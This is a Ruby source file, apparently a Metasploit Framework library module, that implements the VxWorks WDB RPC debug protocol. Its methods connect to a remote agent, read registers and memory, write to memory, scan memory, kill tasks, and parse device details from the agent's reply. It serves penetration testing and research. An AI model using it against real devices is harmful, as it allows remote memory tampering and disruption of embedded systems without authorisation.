require 'msf/core'

module Msf

###
#
# This module exposes methods for manipulating the WDRPC service
#
###
module Exploit::Remote::WDBRPC

	# WDB_TARGET_CONNECT2
	def wdbrpc_request_connect2(ip)
		ip += "\x00"
		while(ip.length % 4 != 0)
			ip << "\x00"
		end

		data = 	[
			0x00000002,
			0x00000000,
			0x00000000,
			0x00000001,
			ip.length
		].pack("N*") + ip

		wdbrpc_request(0x7a, data)
	end

	# WDB_TARGET_CONNECT
	def wdbrpc_request_connect(ip)
		data = [ 0x00000002, 0x00000000, 0x00000000 ].pack("N*")
		wdbrpc_request(1, data)
	end

	# WDB_TARGET_DISCONNECT
	def wdbrpc_request_disconnect
		data = [ 0x00000002, 0x00000000, 0x00000000 ].pack("N*")
		wdbrpc_request(2, data)
	end

	def wdbrpc_request_regread(regset=0, offset=0, length=512, params=0)
		data = [ regset ].pack("N")

		# WDB_CTX
		data << [
			0, # WDB_CTX_SYSTEM (3 for task)
			0, # SYSTEM (or set for task)
		].pack("N*")

		# WDB_MEM_REGION
		data << [
			offset, # baseAddress
			length, # numberOfBytes
			params, # params
		].pack("N*")

		wdbrpc_request(40, data)
	end


	def wdbrpc_request_memread(offset=0, length=512, params=0)

		# WDB_MEM_REGION
		data = [
			offset, # baseAddress
			length, # numberOfBytes
			params, # params
		].pack("N*")

		wdbrpc_request(10, data)
	end

	def wdbrpc_request_memwrite(offset=0, buff='', params=0)

		# Make sure its DWORD aligned
		while(buff.length % 4 != 0)
			buff << "\x00"
		end

		# WDB_MEM_XFER
		data = [
			buff.length,
			offset,      # target
			buff.length
		].pack("N*") + buff

		wdbrpc_request(11, data)
	end


	def wdbrpc_request_memscan(offset=0, depth=1024, buff='', params=0)
		# Make sure its DWORD aligned
		while(buff.length % 4 != 0)
			buff << "\x00"
		end

		# WDB_MEM_REGION
		data = [
			offset, # baseAddress
			depth,  # numberOfBytes
			params, # params
		].pack("N*")

		# WDB_MEM_XFER
		data << [
			buff.length,
			0,
			buff.length
		].pack("N*") + buff

		wdbrpc_request(11, data)
	end

	def wdbrpc_request_context_kill(ctx_type, ctx)

		# WDB_CTX
		data = [
			ctx_type, # WDB_CTX_SYSTEM (3 for task)
			ctx,      # SYSTEM (or set for task)
		].pack("N*")

		# options
		data << [ 0 ] .pack("N")

		wdbrpc_request(31, data)
	end

	def wdbrpc_parse_connect_reply(buff)
		info = {}
		head = buff.slice!(0,36)
		info[:agent_ver] = wdbrpc_decode_str(buff)
		info[:agent_mtu] = wdbrpc_decode_int(buff)
		info[:agent_mod] = wdbrpc_decode_int(buff)
		info[:rt_type]          = wdbrpc_decode_int(buff)
		info[:rt_vers]          = wdbrpc_decode_str(buff)
		info[:rt_cpu_type]      = wdbrpc_decode_int(buff)
		info[:rt_has_fpp]       = wdbrpc_decode_bool(buff)
		info[:rt_has_wp]        = wdbrpc_decode_bool(buff)
		info[:rt_page_size]     = wdbrpc_decode_int(buff)
		info[:rt_endian]        = wdbrpc_decode_int(buff)
		info[:rt_bsp_name]      = wdbrpc_decode_str(buff)
		info[:rt_bootline]      = wdbrpc_decode_str(buff)
		info[:rt_membase]       = wdbrpc_decode_int(buff)
		info[:rt_memsize]       = wdbrpc_decode_int(buff)
		info[:rt_region_count]  = wdbrpc_decode_int(buff)
		info[:rt_regions]       = wdbrpc_decode_arr(buff, :int)
		info[:rt_hostpool_base] = wdbrpc_decode_int(buff)
		info[:rt_hostpool_size] = wdbrpc_decode_int(buff)
		info
	end

	def wdbrpc_request(procedure, data)
		pkt =
			[
				0x00000000, # XID (ignored by checksum and length)
				0x00000000,
				0x00000002,
				0x55555555, # Program
				0x00000001, # Version
				procedure,  # Procedure
				0x00000000,
				0x00000000,
				0x00000000,
				0x00000000
			].pack("N*")

		pkt +=
			[
				0x00000000, # Checksum
				0x00000000, # Packet Size
				wdbrpc_request_seqno
			].pack("N*")

		pkt += data

		# Length excludes the XID
		pkt[44, 4] = [ pkt.length - 4].pack("N")

		# Set the checksum flag and calculate the checksum
		pkt[42, 2] = [ wdbrpc_checksum(pkt) ].pack("n")
		pkt[40, 2] = [0xffff].pack("n")

		# Set the RPC XID
		pkt[ 0, 4] = [ rand(0x100000000) ].pack("N")

		pkt
	end

	def wdbrpc_request_seqno
		@wdbrpc_seqno ||= 0
		@wdbrpc_seqno += 1
	end

	def wdbrpc_checksum(data)
		sum = 0
		data.unpack("n*").each {|c| sum += c }
		sum = (sum & 0xffff) + (sum >> 16)
		(~sum)
	end

	def wdbrpc_decode_str(data)
		return if data.length < 4
		slen = data.slice!(0,4).unpack("N")[0]
		return "" if slen == 0
		while (slen % 4 != 0)
			slen += 1
		end

		data.slice!(0,slen).to_s.split("\x00")[0]
	end

	def wdbrpc_decode_int(data)
		return if data.length < 4
		data.slice!(0,4).unpack("N")[0]
	end

	def wdbrpc_decode_arr(data, dtype)
		return if data.length < 4
		res = []

		alen = data.slice!(0,4).unpack("N")[0]
		return res if alen == 0

		1.upto(alen) do |idx|
			case dtype
			when :int
				res << wdbrpc_decode_int(data)
			when :str
				res << wdbrpc_decode_str(data)
			when :bool
				res << wdbrpc_decode_bool(data)
			end
		end

		res
	end

	def wdbrpc_decode_bool(data)
		return if data.length < 4
		(data.slice!(0,4).unpack("N")[0] == 0) ? false : true
	end

end
end

